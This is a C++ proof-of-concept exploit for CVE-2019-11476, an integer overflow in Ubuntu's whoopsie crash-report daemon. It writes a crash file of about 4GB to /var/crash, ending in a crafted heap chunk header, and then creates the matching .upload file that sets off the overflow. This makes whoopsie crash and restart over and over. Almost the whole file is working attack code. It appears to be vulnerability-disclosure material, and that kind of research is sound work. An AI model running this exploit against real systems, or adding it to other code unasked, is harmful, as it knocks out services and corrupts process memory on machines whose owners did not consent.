#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <string>
#include <iostream>
#include "utils.hpp"

// Proof-of-concept for CVE-2019-11476.
// "Integer overflow in parse_report (whoopsie.c:425)"
// Bug report: https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1830863
//
// The PoC works by creating a file named `/var/crash/killwhoopsie.crash`,
// just over 4GB in size. It then creates a file named
// `/var/crash/killwhoopsie.upload`, which prompts whoopsie to start
// processing the .crash file. Be aware that whoopsie will keep restarting
// and crash repeatedly until you remove the files from `/var/crash`.

int main() {
  try {
    AutoCloseFD crash_fd(
      create_file(
        AT_FDCWD, "/var/crash/killwhoopsie.crash", S_IRWXU | S_IRWXG | S_IRWXO
      )
    );

    // Create a value just under 4GB in size.
    write_or_throw(crash_fd.get(), "x: ", 3);
    write_repeated_buffer(crash_fd.get(), "kevwozere", 9, 0x100000000ULL - 16);
    // Increase the size of the value by continuing on the next line.
    // This causes an integer overflow here:
    // https://bazaar.launchpad.net/~daisy-pluckers/whoopsie/trunk/view/698/src/whoopsie.c#L425
    write_or_throw(crash_fd.get(), "\n ", 2);

    // Interestingly, if we make `mchunkhdr` exactly 15 bytes long then the
    // `value` doesn't get deallocated in `destroy_key_and_value`
    // (whoopsie.c:350), because `*(char*)value == '\0'`.
    const unsigned char mchunkhdr[16] =
      { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
        0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 'x'
      };
    write_or_throw(crash_fd.get(), (const char*)mchunkhdr, sizeof(mchunkhdr));
    write_or_throw(crash_fd.get(), "\n", 1);

    // Invalid sequence so that whoopsie will error out.
    write_or_throw(crash_fd.get(), "y:\n\n", 4);

    // whoopsie doesn't start reading the `.crash` file until we create the
    // corresponding `.upload` file.
    AutoCloseFD upload_fd(
      create_file(
        AT_FDCWD, "/var/crash/killwhoopsie.upload", S_IRWXU | S_IRWXG | S_IRWXO
      )
    );
  } catch (ErrorWithErrno& e) {
    int err = e.getErrno();
    std::cerr << e.what() << "\n" << strerror(err) << "\n";
    exit(EXIT_FAILURE);
  } catch (std::exception& e) {
    std::cerr << e.what() << "\n";
    exit(EXIT_FAILURE);
  }

  exit(EXIT_SUCCESS);
}
